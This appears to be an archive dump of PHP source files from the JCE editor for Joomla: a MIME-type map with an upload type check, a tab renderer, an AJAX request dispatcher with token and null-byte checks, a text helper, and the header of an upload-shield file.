        'application/vnd.lotus-notes' => 'nsf',
        'application/vnd.lotus-organizer' => 'org',
        'application/vnd.lotus-screencam' => 'scm',
        'application/vnd.lotus-wordpro' => 'lwp',
        'application/vnd.macports.portpkg' => 'portpkg',
        'application/vnd.mcd' => 'mcd',
        'application/vnd.medcalcdata' => 'mc1',
        'application/vnd.mediastation.cdkey' => 'cdkey',
        'application/vnd.mfer' => 'mwf',
        'application/vnd.mfmp' => 'mfm',
        'application/vnd.micrografx.flo' => 'flo',
        'application/vnd.micrografx.igx' => 'igx',
        'application/vnd.mif' => 'mif',
        'application/vnd.mobius.daf' => 'daf',
        'application/vnd.mobius.dis' => 'dis',
        'application/vnd.mobius.mbk' => 'mbk',
        'application/vnd.mobius.mqy' => 'mqy',
        'application/vnd.mobius.msl' => 'msl',
        'application/vnd.mobius.plc' => 'plc',
        'application/vnd.mobius.txf' => 'txf',
        'application/vnd.mophun.application' => 'mpn',
        'application/vnd.mophun.certificate' => 'mpc',
        'application/vnd.mozilla.xul+xml' => 'xul',
        'application/vnd.ms-artgalry' => 'cil',
        'application/vnd.ms-cab-compressed' => 'cab',
        'application/vnd.ms-excel' => 'xls xlm xla xlc xlt xlw xlsx xlsm',
        'application/vnd.ms-excel.addin.macroenabled.12' => 'xlam',
        'application/vnd.ms-excel.sheet.binary.macroenabled.12' => 'xlsb',
        'application/vnd.ms-excel.sheet.macroenabled.12' => 'xlsm',
        'application/vnd.ms-excel.template.macroenabled.12' => 'xltm',
        'application/vnd.ms-fontobject' => 'eot',
        'application/vnd.ms-htmlhelp' => 'chm',
        'application/vnd.ms-ims' => 'ims',
        'application/vnd.ms-lrm' => 'lrm',
        'application/vnd.ms-pki.seccat' => 'cat',
        'application/vnd.ms-pki.stl' => 'stl',
        'application/vnd.ms-powerpoint' => 'ppt pps pot pptx',
        'application/vnd.ms-powerpoint.addin.macroenabled.12' => 'ppam',
        'application/vnd.ms-powerpoint.presentation.macroenabled.12' => 'pptm',
        'application/vnd.ms-powerpoint.slide.macroenabled.12' => 'sldm',
        'application/vnd.ms-powerpoint.slideshow.macroenabled.12' => 'ppsm',
        'application/vnd.ms-powerpoint.template.macroenabled.12' => 'potm',
        'application/vnd.ms-project' => 'mpp mpt',
        'application/vnd.ms-word.document.macroenabled.12' => 'docm',
        'application/vnd.ms-word.template.macroenabled.12' => 'dotm',
        'application/vnd.ms-works' => 'wps wks wcm wdb',
        'application/vnd.ms-wpl' => 'wpl',
        'application/vnd.ms-xpsdocument' => 'xps',
        'application/vnd.mseq' => 'mseq',
        'application/vnd.musician' => 'mus',
        'application/vnd.muvee.style' => 'msty',
        'application/vnd.neurolanguage.nlu' => 'nlu',
        'application/vnd.noblenet-directory' => 'nnd',
        'application/vnd.noblenet-sealer' => 'nns',
        'application/vnd.noblenet-web' => 'nnw',
        'application/vnd.nokia.n-gage.data' => 'ngdat',
        'application/vnd.nokia.n-gage.symbian.install' => 'n-gage',
        'application/vnd.nokia.radio-preset' => 'rpst',
        'application/vnd.nokia.radio-presets' => 'rpss',
        'application/vnd.novadigm.edm' => 'edm',
        'application/vnd.novadigm.edx' => 'edx',
        'application/vnd.novadigm.ext' => 'ext',
        'application/vnd.oasis.opendocument.chart' => 'odc',
        'application/vnd.oasis.opendocument.chart-template' => 'otc',
        'application/vnd.oasis.opendocument.database' => 'odb',
        'application/vnd.oasis.opendocument.formula' => 'odf',
        'application/vnd.oasis.opendocument.formula-template' => 'odft',
        'application/vnd.oasis.opendocument.graphics' => 'odg',
        'application/vnd.oasis.opendocument.graphics-template' => 'otg',
        'application/vnd.oasis.opendocument.image' => 'odi',
        'application/vnd.oasis.opendocument.image-template' => 'oti',
        'application/vnd.oasis.opendocument.presentation' => 'odp',
        'application/vnd.oasis.opendocument.presentation-template' => 'otp',
        'application/vnd.oasis.opendocument.spreadsheet' => 'ods',
        'application/vnd.oasis.opendocument.spreadsheet-template' => 'ots',
        'application/vnd.oasis.opendocument.text' => 'odt',
        'application/vnd.oasis.opendocument.text-master' => 'otm',
        'application/vnd.oasis.opendocument.text-template' => 'ott',
        'application/vnd.oasis.opendocument.text-web' => 'oth',
        'application/vnd.olpc-sugar' => 'xo',
        'application/vnd.oma.dd2+xml' => 'dd2',
        'application/vnd.openofficeorg.extension' => 'oxt',
        'application/vnd.openxmlformats-officedocument.presentationml.presentation' => 'pptx',
        'application/vnd.openxmlformats-officedocument.presentationml.slide' => 'sldx',
        'application/vnd.openxmlformats-officedocument.presentationml.slideshow' => 'ppsx',
        'application/vnd.openxmlformats-officedocument.presentationml.template' => 'potx',
        'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' => 'xlsx',
        'application/vnd.openxmlformats-officedocument.spreadsheetml.template' => 'xltx',
        'application/vnd.ms-excel.sheet.macroEnabled.12' => 'xlsm',
        'application/vnd.openxmlformats-officedocument.wordprocessingml.document' => 'docx dotx',
        'application/vnd.openxmlformats-officedocument.wordprocessingml.template' => 'dotx',
        'application/vnd.osgi.dp' => 'dp',
        'application/vnd.palm' => 'pdb pqa oprc',
        'application/vnd.pawaafile' => 'paw',
        'application/vnd.pg.format' => 'str',
        'application/vnd.pg.osasli' => 'ei6',
        'application/vnd.picsel' => 'efif',
        'application/vnd.pmi.widget' => 'wg',
        'application/vnd.pocketlearn' => 'plf',
        'application/vnd.powerbuilder6' => 'pbd',
        'application/vnd.previewsystems.box' => 'box',
        'application/vnd.proteus.magazine' => 'mgz',
        'application/vnd.publishare-delta-tree' => 'qps',
        'application/vnd.pvi.ptid1' => 'ptid',
        'application/vnd.quark.quarkxpress' => 'qxd qxt qwd qwt qxl qxb',
        'application/vnd.realvnc.bed' => 'bed',
        'application/vnd.recordare.musicxml' => 'mxl',
        'application/vnd.recordare.musicxml+xml' => 'musicxml',
        'application/vnd.rim.cod' => 'cod',
        'application/vnd.rn-realmedia' => 'rm',
        'application/vnd.route66.link66+xml' => 'link66',
        'application/vnd.sailingtracker.track' => 'st',
        'application/vnd.seemail' => 'see',
        'application/vnd.sema' => 'sema',
        'application/vnd.semd' => 'semd',
        'application/vnd.semf' => 'semf',
        'application/vnd.shana.informed.formdata' => 'ifm',
        'application/vnd.shana.informed.formtemplate' => 'itp',
        'application/vnd.shana.informed.interchange' => 'iif',
        'application/vnd.shana.informed.package' => 'ipk',
        'application/vnd.simtech-mindmapper' => 'twd twds',
        'application/vnd.smaf' => 'mmf',
        'application/vnd.smart.teacher' => 'teacher',
        'application/vnd.solent.sdkm+xml' => 'sdkm sdkd',
        'application/vnd.spotfire.dxp' => 'dxp',
        'application/vnd.spotfire.sfs' => 'sfs',
        'application/vnd.stardivision.calc' => 'sdc',
        'application/vnd.stardivision.draw' => 'sda',
        'application/vnd.stardivision.impress' => 'sdd',
        'application/vnd.stardivision.math' => 'smf',
        'application/vnd.stardivision.writer' => 'sdw vor',
        'application/vnd.stardivision.writer-global' => 'sgl',
        'application/vnd.sun.xml.calc' => 'sxc',
        'application/vnd.sun.xml.calc.template' => 'stc',
        'application/vnd.sun.xml.draw' => 'sxd',
        'application/vnd.sun.xml.draw.template' => 'std',
        'application/vnd.sun.xml.impress' => 'sxi',
        'application/vnd.sun.xml.impress.template' => 'sti',
        'application/vnd.sun.xml.math' => 'sxm',
        'application/vnd.sun.xml.writer' => 'sxw',
        'application/vnd.sun.xml.writer.global' => 'sxg',
        'application/vnd.sun.xml.writer.template' => 'stw',
        'application/vnd.sus-calendar' => 'sus susp',
        'application/vnd.svd' => 'svd',
        'application/vnd.symbian.install' => 'sis sisx',
        'application/vnd.syncml+xml' => 'xsm',
        'application/vnd.syncml.dm+wbxml' => 'bdm',
        'application/vnd.syncml.dm+xml' => 'xdm',
        'application/vnd.tao.intent-module-archive' => 'tao',
        'application/vnd.tmobile-livetv' => 'tmo',
        'application/vnd.trid.tpt' => 'tpt',
        'application/vnd.triscape.mxs' => 'mxs',
        'application/vnd.trueapp' => 'tra',
        'application/vnd.ufdl' => 'ufd ufdl',
        'application/vnd.uiq.theme' => 'utz',
        'application/vnd.umajin' => 'umj',
        'application/vnd.unity' => 'unityweb',
        'application/vnd.uoml+xml' => 'uoml',
        'application/vnd.vcx' => 'vcx',
        'application/vnd.visio' => 'vsd vst vss vsw',
        'application/vnd.visionary' => 'vis',
        'application/vnd.vsf' => 'vsf',
        'application/vnd.wap.wbxml' => 'wbxml',
        'application/vnd.wap.wmlc' => 'wmlc',
        'application/vnd.wap.wmlscriptc' => 'wmlsc',
        'application/vnd.webturbo' => 'wtb',
        'application/vnd.wolfram.player' => 'nbp',
        'application/vnd.wordperfect' => 'wpd',
        'application/vnd.wqd' => 'wqd',
        'application/vnd.wt.stf' => 'stf',
        'application/vnd.xara' => 'xar',
        'application/vnd.xfdl' => 'xfdl',
        'application/vnd.yamaha.hv-dic' => 'hvd',
        'application/vnd.yamaha.hv-script' => 'hvs',
        'application/vnd.yamaha.hv-voice' => 'hvp',
        'application/vnd.yamaha.openscoreformat' => 'osf',
        'application/vnd.yamaha.openscoreformat.osfpvg+xml' => 'osfpvg',
        'application/vnd.yamaha.smaf-audio' => 'saf',
        'application/vnd.yamaha.smaf-phrase' => 'spf',
        'application/vnd.yellowriver-custom-menu' => 'cmp',
        'application/vnd.zul' => 'zir zirz',
        'application/vnd.zzazz.deck+xml' => 'zaz',
        'application/voicexml+xml' => 'vxml',
        'application/winhlp' => 'hlp',
        'application/wsdl+xml' => 'wsdl',
        'application/wspolicy+xml' => 'wspolicy',
        'application/x-abiword' => 'abw',
        'application/x-ace-compressed' => 'ace',
        'application/x-authorware-bin' => 'aab x32 u32 vox',
        'application/x-authorware-map' => 'aam',
        'application/x-authorware-seg' => 'aas',
        'application/x-bcpio' => 'bcpio',
        'application/x-bittorrent' => 'torrent',
        'application/x-bzip' => 'bz',
        'application/x-bzip2' => 'bz2 boz',
        'application/x-cdlink' => 'vcd',
        'application/x-chat' => 'chat',
        'application/x-chess-pgn' => 'pgn',
        'application/x-cpio' => 'cpio',
        'application/x-csh' => 'csh',
        'application/x-debian-package' => 'deb udeb',
        'application/x-director' => 'dir dcr dxr cst cct cxt w3d fgd swa',
        'application/x-doom' => 'wad',
        'application/x-dtbncx+xml' => 'ncx',
        'application/x-dtbook+xml' => 'dtb',
        'application/x-dtbresource+xml' => 'res',
        'application/x-dvi' => 'dvi',
        'application/x-font-bdf' => 'bdf',
        'application/x-font-ghostscript' => 'gsf',
        'application/x-font-linux-psf' => 'psf',
        'application/x-font-otf' => 'otf',
        'application/x-font-pcf' => 'pcf',
        'application/x-font-snf' => 'snf',
        'application/x-font-ttf' => 'ttf ttc',
        'application/x-font-type1' => 'pfa pfb pfm afm',
        'application/x-futuresplash' => 'spl',
        'application/x-gnumeric' => 'gnumeric',
        'application/x-gtar' => 'gtar',
        'application/x-hdf' => 'hdf',
        'application/x-java-jnlp-file' => 'jnlp',
        'application/x-latex' => 'latex',
        'application/x-mobipocket-ebook' => 'prc mobi',
        'application/x-ms-application' => 'application',
        'application/x-ms-wmd' => 'wmd',
        'application/x-ms-wmz' => 'wmz',
        'application/x-ms-xbap' => 'xbap',
        'application/x-msaccess' => 'mdb',
        'application/x-msbinder' => 'obd',
        'application/x-mscardfile' => 'crd',
        'application/x-msclip' => 'clp',
        'application/x-msdownload' => 'exe dll com bat msi',
        'application/x-msmediaview' => 'mvb m13 m14',
        'application/x-msmetafile' => 'wmf',
        'application/x-msmoney' => 'mny',
        'application/x-mspublisher' => 'pub',
        'application/x-msschedule' => 'scd',
        'application/x-msterminal' => 'trm',
        'application/x-mswrite' => 'wri',
        'application/x-netcdf' => 'nc cdf',
        'application/x-pkcs12' => 'p12 pfx',
        'application/x-pkcs7-certificates' => 'p7b spc',
        'application/x-pkcs7-certreqresp' => 'p7r',
        'application/x-rar-compressed' => 'rar',
        'application/x-sh' => 'sh',
        'application/x-shar' => 'shar',
        'application/x-shockwave-flash' => 'swf',
        'application/x-silverlight-app' => 'xap',
        'application/x-stuffit' => 'sit',
        'application/x-stuffitx' => 'sitx',
        'application/x-sv4cpio' => 'sv4cpio',
        'application/x-sv4crc' => 'sv4crc',
        'application/x-tar' => 'tar',
        'application/x-tcl' => 'tcl',
        'application/x-tex' => 'tex',
        'application/x-tex-tfm' => 'tfm',
        'application/x-texinfo' => 'texinfo texi',
        'application/x-ustar' => 'ustar',
        'application/x-wais-source' => 'src',
        'application/x-x509-ca-cert' => 'der crt',
        'application/x-xfig' => 'fig',
        'application/x-xpinstall' => 'xpi',
        'application/xenc+xml' => 'xenc',
        'application/xhtml+xml' => 'xhtml xht',
        'application/xml' => 'xml xsl',
        'application/xml-dtd' => 'dtd',
        'application/xop+xml' => 'xop',
        'application/xslt+xml' => 'xslt',
        'application/xspf+xml' => 'xspf',
        'application/xv+xml' => 'mxml xhvml xvml xvm',
        'application/zip' => 'zip docx pptx ppsx xlsx sldx potx xltx dotx',
        'audio/adpcm' => 'adp',
        'audio/basic' => 'au snd',
        'audio/midi' => 'mid midi kar rmi',
        'audio/mp4' => 'mp4a',
        'audio/mpeg' => 'mpga mp2 mp2a mp3 m2a m3a',
        'audio/ogg' => 'oga ogg spx',
        'audio/vnd.digital-winds' => 'eol',
        'audio/vnd.dra' => 'dra',
        'audio/vnd.dts' => 'dts',
        'audio/vnd.dts.hd' => 'dtshd',
        'audio/vnd.lucent.voice' => 'lvp',
        'audio/vnd.ms-playready.media.pya' => 'pya',
        'audio/vnd.nuera.ecelp4800' => 'ecelp4800',
        'audio/vnd.nuera.ecelp7470' => 'ecelp7470',
        'audio/vnd.nuera.ecelp9600' => 'ecelp9600',
        'audio/x-aac' => 'aac',
        'audio/x-aiff' => 'aif aiff aifc',
        'audio/x-mpegurl' => 'm3u',
        'audio/x-ms-wax' => 'wax',
        'audio/x-ms-wma' => 'wma',
        'audio/x-pn-realaudio' => 'ram ra',
        'audio/x-pn-realaudio-plugin' => 'rmp',
        'audio/x-wav' => 'wav',
        'audio/webm' => 'webm',
        'chemical/x-cdx' => 'cdx',
        'chemical/x-cif' => 'cif',
        'chemical/x-cmdf' => 'cmdf',
        'chemical/x-cml' => 'cml',
        'chemical/x-csml' => 'csml',
        'chemical/x-xyz' => 'xyz',
        'image/bmp' => 'bmp',
        'image/cgm' => 'cgm',
        'image/g3fax' => 'g3',
        'image/gif' => 'gif',
        'image/ief' => 'ief',
        'image/jpeg' => 'jpeg jpg jpe',
        'image/png' => 'png',
        'image/prs.btif' => 'btif',
        'image/svg+xml' => 'svg svgz',
        'image/tiff' => 'tiff tif',
        'image/vnd.adobe.photoshop' => 'psd',
        'image/vnd.djvu' => 'djvu djv',
        'image/vnd.dwg' => 'dwg',
        'image/vnd.dxf' => 'dxf',
        'image/vnd.fastbidsheet' => 'fbs',
        'image/vnd.fpx' => 'fpx',
        'image/vnd.fst' => 'fst',
        'image/vnd.fujixerox.edmics-mmr' => 'mmr',
        'image/vnd.fujixerox.edmics-rlc' => 'rlc',
        'image/vnd.ms-modi' => 'mdi',
        'image/vnd.net-fpx' => 'npx',
        'image/vnd.wap.wbmp' => 'wbmp',
        'image/vnd.xiff' => 'xif',
        'image/x-cmu-raster' => 'ras',
        'image/x-cmx' => 'cmx',
        'image/x-freehand' => 'fh fhc fh4 fh5 fh7',
        'image/x-icon' => 'ico',
        'image/x-pcx' => 'pcx',
        'image/x-pict' => 'pic pct',
        'image/x-portable-anymap' => 'pnm',
        'image/x-portable-bitmap' => 'pbm',
        'image/x-portable-graymap' => 'pgm',
        'image/x-portable-pixmap' => 'ppm',
        'image/x-rgb' => 'rgb',
        'image/x-xbitmap' => 'xbm',
        'image/x-xpixmap' => 'xpm',
        'image/x-xwindowdump' => 'xwd',
        'message/rfc822' => 'eml mime',
        'model/iges' => 'igs iges',
        'model/mesh' => 'msh mesh silo',
        'model/vnd.dwf' => 'dwf',
        'model/vnd.gdl' => 'gdl',
        'model/vnd.gtw' => 'gtw',
        'model/vnd.mts' => 'mts',
        'model/vnd.vtu' => 'vtu',
        'model/vrml' => 'wrl vrml',
        'text/calendar' => 'ics ifb',
        'text/css' => 'css',
        'text/csv' => 'csv',
        'text/html' => 'html htm',
        'text/plain' => 'txt text conf def list log in csv',
        'text/prs.lines.tag' => 'dsc',
        'text/richtext' => 'rtx',
        'text/sgml' => 'sgml sgm',
        'text/tab-separated-values' => 'tsv',
        'text/troff' => 't tr roff man me ms',
        'text/uri-list' => 'uri uris urls',
        'text/vnd.curl' => 'curl',
        'text/vnd.curl.dcurl' => 'dcurl',
        'text/vnd.curl.scurl' => 'scurl',
        'text/vnd.curl.mcurl' => 'mcurl',
        'text/vnd.fly' => 'fly',
        'text/vnd.fmi.flexstor' => 'flx',
        'text/vnd.graphviz' => 'gv',
        'text/vnd.in3d.3dml' => '3dml',
        'text/vnd.in3d.spot' => 'spot',
        'text/vnd.sun.j2me.app-descriptor' => 'jad',
        'text/vnd.wap.wml' => 'wml',
        'text/vnd.wap.wmlscript' => 'wmls',
        'text/x-asm' => 's asm',
        'text/x-c' => 'c cc cxx cpp h hh dic',
        'text/x-fortran' => 'f for f77 f90',
        'text/x-pascal' => 'p pas',
        'text/x-java-source' => 'java',
        'text/x-setext' => 'etx',
        'text/x-uuencode' => 'uu',
        'text/x-vcalendar' => 'vcs',
        'text/x-vcard' => 'vcf',
        'video/3gpp' => '3gp',
        'video/3gpp2' => '3g2',
        'video/h261' => 'h261',
        'video/h263' => 'h263',
        'video/h264' => 'h264',
        'video/jpeg' => 'jpgv',
        'video/jpm' => 'jpm jpgm',
        'video/mj2' => 'mj2 mjp2',
        'video/mp4' => 'mp4 mp4v mpg4',
        'video/mpeg' => 'mpeg mpg mpe m1v m2v',
        'video/ogg' => 'ogg ogv',
        'video/quicktime' => 'qt mov',
        'video/vnd.fvt' => 'fvt',
        'video/vnd.mpegurl' => 'mxu m4u',
        'video/vnd.ms-playready.media.pyv' => 'pyv',
        'video/vnd.vivo' => 'viv',
        'video/x-f4v' => 'f4v',
        'video/x-fli' => 'fli',
        'video/x-flv' => 'flv',
        'video/x-m4v' => 'm4v',
        'video/x-ms-asf' => 'asf asx wmv',
        'video/x-ms-wm' => 'wm',
        'video/x-ms-wmv' => 'wmv',
        'video/x-ms-wmx' => 'wmx',
        'video/x-ms-wvx' => 'wvx',
        'video/x-msvideo' => 'avi',
        'video/x-sgi-movie' => 'movie',
        'video/webm' => 'webm',
        'x-conference/x-cooltalk' => 'ice',
    );

    /**
     * $mimes getter - see $mimes.
     */
    private static function getMimes()
    {
        return self::$mimes;
    }

    /**
     * Get the mime type from the $mimes array.
     *
     * @param string $type
     *
     * @return string
     */
    private static function getMime($type)
    {
        // get mimetype array
        $mimes = self::getMimes();

        if (array_key_exists($type, $mimes)) {
            return explode(' ', $mimes[$type]);
        }

        return null;
    }

    private static function isSupported($extension)
    {
        // get mimetype array
        $mimes = self::getMimes();

        $supported = false;

        foreach(array_values($mimes) as $mime) {
            if (in_array($extension, explode(' ', $mime))) {
                $supported = true;
                break;
            }
        };

        return $supported;
    }

    /**
     * Check file mime type.
     *
     * @param string $name
     * @param string $path
     * @param string $type
     *
     * @return bool
     */
    public static function check($name, $path)
    {
        $extension = strtolower(substr($name, strrpos($name, '.') + 1));
        $mimetype = null;

        // if the extension is allowed, but no mimetype reference is found, let it through...
        if (self::isSupported($extension) === false) {
            return true;
        }

        if (function_exists('finfo_open')) {
            if (!$finfo = new finfo(FILEINFO_MIME_TYPE)) {
                return true;
            }
            $mimetype = $finfo->file($path);
        } elseif (function_exists('mime_content_type')) {
            $mimetype = @mime_content_type($path);
        }

        if ($mimetype) {
            $mime = self::getMime($mimetype);

            if ($mime) {
                if (!in_array($extension, $mime)) {
                    return false;
                }
            }
        }

        // server doesn't support mime type check, let it through...
        return true;
    }
}
com_jce/editor/libraries/classes/tabs.php000060400000013102152453734450014511 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Object\CMSObject;

final class WFTabs extends CMSObject
{
    private $_tabs = array();
    private $_panels = array();
    private $_paths = array();

    /**
     * Constructor activating the default information of the class.
     */
    public function __construct($config = array())
    {
        if (!array_key_exists('base_path', $config)) {
            $config['base_path'] = WF_EDITOR_LIBRARIES;
        }

        $this->setProperties($config);

        if (array_key_exists('template_path', $config)) {
            $this->addTemplatePath($config['template_path']);
        } else {
            $this->addTemplatePath($this->get('base_path') . '/tmpl');
        }
    }

    /**
     * Returns a reference to a WFTabs object.
     *
     * This method must be invoked as:
     *    <pre>  $tabs = WFTabs::getInstance();</pre>
     *
     * @return object WFTabs
     */
    public static function getInstance($config = array())
    {
        static $instance;

        if (!is_object($instance)) {
            $instance = new self($config);
        }

        return $instance;
    }

    /**
     * Add a template path.
     *
     * @param string $path
     */
    public function addTemplatePath($path)
    {
        $this->_paths[] = $path;
    }

    /**
     * Load a panel view.
     *
     * @param object $layout Layout (panel) name
     *
     * @return panel WFView object
     */
    private function loadPanel($panel, $state)
    {
        $view = new WFView(array(
            'name' => $panel,
            'layout' => $panel,
        ));

        // add tab paths
        foreach ($this->_paths as $path) {
            $view->addTemplatePath($path);
        }

        // assign panel state to view
        $view->state = (int) $state;

        return $view;
    }

    public function getPanel($panel)
    {
        if (array_key_exists($panel, $this->_panels)) {
            return $this->_panels[$panel];
        }

        return false;
    }

    /**
     * Add a tab to the document. A panel is automatically created and assigned.
     *
     * @param object $tab    Tab name
     * @param int    $state  Tab state (active or inactive)
     * @param array  $values An array of values to assign to panel view
     */
    public function addTab($tab, $state = 1, $values = array())
    {
        if (!array_key_exists($tab, $this->_tabs)) {
            $this->_tabs[$tab] = (int) $state === 1 ? $tab : '';

            $panel = $this->addPanel($tab, $state);

            // array is not empty and is associative
            if (!empty($values) && array_values($values) !== $values) {
                foreach ($values as $key => $value) {
                    $panel->$key = $value;
                }
            }
        }
    }

    /**
     * Add a panel to the document.
     *
     * @param object $panel Panel name
     */
    public function addPanel($tab, $state)
    {
        if (!array_key_exists($tab, $this->_panels)) {
            $this->_panels[$tab] = $this->loadPanel($tab, $state);

            return $this->_panels[$tab];
        }
    }

    /**
     * Remove a tab from the document.
     *
     * @param object $tab Tab name
     */
    public function removeTab($tab)
    {
        if (array_key_exists($tab, $this->_tabs)) {
            unset($this->_tabs[$tab]);
        }
    }

    /**
     * Render the document tabs and panels.
     */
    public function render()
    {
        $output = '';

        if (!empty($this->_tabs)) {
            $output .= '<div id="tabs">';
        }

        // add tabs
        if (count($this->_tabs) > 1) {
            $output .= '<ul class="uk-tab" role="tablist">' . "\n";

            $x = 0;

            foreach ($this->_tabs as $name => $tab) {
                $class = '';

                if ($x === 0) {
                    $class .= ' uk-active';
                }

                if (!$tab) {
                    $class .= ' uk-hidden';
                }

                $output .= "\t" . '<li role="presentation" aria-selected="false" class="' . $class . '"><button type="button" class="uk-button uk-button-link uk-button-tab" tabindex="-1" value="' . $name . '">' . Text::_('WF_TAB_' . strtoupper($name)) . '</button></li>' . "\n";
                ++$x;
            }

            $output .= "</ul>\n";
        }

        // add panels
        if (!empty($this->_panels)) {
            $x = 0;

            $output .= '<div class="uk-switcher">';

            foreach ($this->_panels as $key => $panel) {
                $class = '';

                if ($panel->state === 0) {
                    $class .= ' uk-hidden';
                }

                if (!empty($this->_tabs)) {
                    if ($x === 0) {
                        $class .= ' uk-active';
                    } else {
                        $class .= ' uk-tabs-hide';
                    }
                }

                $output .= '<div id="' . $key . '_tab" class="' . $class . '" role="tabpanel" aria-hidden="true">';
                $output .= $panel->loadTemplate();
                $output .= '</div>';

                ++$x;
            }

            $output .= '</div>';
        }

        // add closing div
        if (!empty($this->_tabs)) {
            $output .= "</div>\n";
        }

        echo $output;
    }
}
com_jce/editor/libraries/classes/request.php000060400000015772152453734450015267 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Filter\InputFilter;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Object\CMSObject;
use Joomla\CMS\Session\Session;

final class WFRequest extends CMSObject
{
    protected static $instance;

    protected $requests = array();

    /**
     * Constructor activating the default information of the class.
     */
    public function __construct()
    {
        parent::__construct();
    }

    /**
     * Returns a reference to a WFRequest object.
     *
     * This method must be invoked as:
     *    <pre>  $request = WFRequest::getInstance();</pre>
     *
     * @return object WFRequest
     */
    public static function getInstance()
    {
        if (!isset(self::$instance)) {
            self::$instance = new self();
        }

        return self::$instance;
    }

    /**
     * Set Request function.
     *
     * @param array $function An array containing the function and object
     */
    public function register($function)
    {
        $object = new stdClass();

        if (is_array($function)) {
            $ref = array_shift($function);
            $name = array_shift($function);

            $object->fn = $name;
            $object->ref = $ref;

            $this->requests[$name] = $object;
        } else {
            $object->fn = $function;
            $this->requests[$function] = $object;
        }
    }

    private function isRegistered($function)
    {
        return array_key_exists($function, $this->requests);
    }

    /**
     * Get a request function.
     *
     * @param string $function
     */
    public function getFunction($function)
    {
        return $this->requests[$function];
    }

    /**
     * Check if the HTTP Request is a WFRequest.
     *
     * @return bool
     */
    private function isRequest()
    {
        return (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest') || (isset($_SERVER['CONTENT_TYPE']) && strpos($_SERVER['CONTENT_TYPE'], 'multipart') !== false);
    }

    public function setRequest($request)
    {
        return $this->register($request);
    }

    /**
     * Check a request query for bad stuff.
     *
     * @param array $query
     */
    private function checkQuery($query)
    {
        if (is_string($query)) {
            $query = array($query);
        }

        // check for null byte
        foreach ($query as $key => $value) {
            if (is_array($value) || is_object($value)) {
                return self::checkQuery($value);
            }

            if (is_array($key)) {
                return self::checkQuery($key);
            }

            // Check if $key or $value is null before using strpos
            if ($key !== null && strpos($key, '\u0000') !== false) {
                throw new InvalidArgumentException('Invalid Data', 403);
            }

            if ($value !== null && strpos($value, '\u0000') !== false) {
                throw new InvalidArgumentException('Invalid Data', 403);
            }
        }
    }

    /**
     * Process an ajax call and return result.
     *
     * @return string
     */
    public function process($array = false)
    {
        if ($this->isRequest() === false) {
            return false;
        }

        // Check for request forgeries
        Session::checkToken('request') or jexit(Text::_('JINVALID_TOKEN'));

        $app = Factory::getApplication();

        // empty arguments
        $args = array();

        $json = $app->input->getVar('json', '', 'POST', 'STRING', 2);
        $method = $app->input->getWord('method');

        // get and encode json data
        if ($json) {
            // convert to JSON object
            $json = json_decode($json);
        }

        // get current request id
        $id = empty($json->id) ? $app->input->getWord('id') : $json->id;

        // create response
        $response = new WFResponse($id);

        if ($method || $json) {
            // set request flag
            define('JCE_REQUEST', 1);

            // check if valid json object
            if (is_object($json)) {
                // no function call
                if (isset($json->method) === false) {
                    $response->setError(array('code' => -32600, 'message' => 'Invalid Request'))->send();
                }

                // get function call
                $fn = $json->method;

                // clean function
                $fn = InputFilter::getInstance()->clean($fn, 'cmd');

                // pass params to input and flatten
                if (empty($json->params)) {
                    $json->params = "";
                }

                try {
                    // check query
                    $this->checkQuery($json->params);
                } catch (Exception $e) {
                    $response->setError(array('code' => $e->getCode(), 'message' => $e->getMessage()))->send();
                }

                // merge array with args
                if (is_array($json->params)) {
                    $args = array_merge($args, $json->params);
                    // pass through string or object
                } else {
                    $args[] = $json->params;
                }
            } else {
                $fn = $method;
                $response->setHeaders(array('Content-type' => 'text/html;charset=UTF-8'));
            }

            if (empty($fn) || $this->isRegistered($fn) === false) {
                $response->setError(array('code' => -32601, 'message' => 'Method not found'))->send();
            }

            // get method
            $request = $this->getFunction($fn);

            // create callable function
            $callback = array($request->ref, $request->fn);

            // check function is callable
            if (is_callable($callback) === false) {
                $response->setError(array('code' => -32601, 'message' => 'Method not found'))->send();
            }

            // create empty result
            $result = '';

            try {
                $result = call_user_func_array($callback, (array) $args);

                if (is_array($result) && !empty($result['error'])) {
                    if (is_array($result['error'])) {
                        $result['error'] = implode("\n", $result['error']);
                    }

                    $response->setError(array('message' => $result['error']))->send();
                }
            } catch (Exception $e) {
                $response->setError(array('code' => $e->getCode(), 'message' => $e->getMessage()))->send();
            }

            $response->setContent($result)->send();
        }

        // default response
        $response->setError(array('code' => -32601, 'message' => 'The server returned an invalid response'))->send();
    }
}
com_jce/editor/libraries/classes/text.php000060400000001105152453734450014544 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

abstract class WFText
{
    public static function _($string, $default = '')
    {
        return Text::_($string);
    }

    public static function sprintf($string)
    {
        return Text::sprintf($string);
    }
}
com_jce/editor/libraries/classes/uploadshield.php000060400000025470152453734450016250 0ustar00<?php

/**
 * @package   	JCE
 * @copyright 	Copyright (c) 2009-2015 Ryan Demmer. All rights reserved.
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * @copyright   Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 */
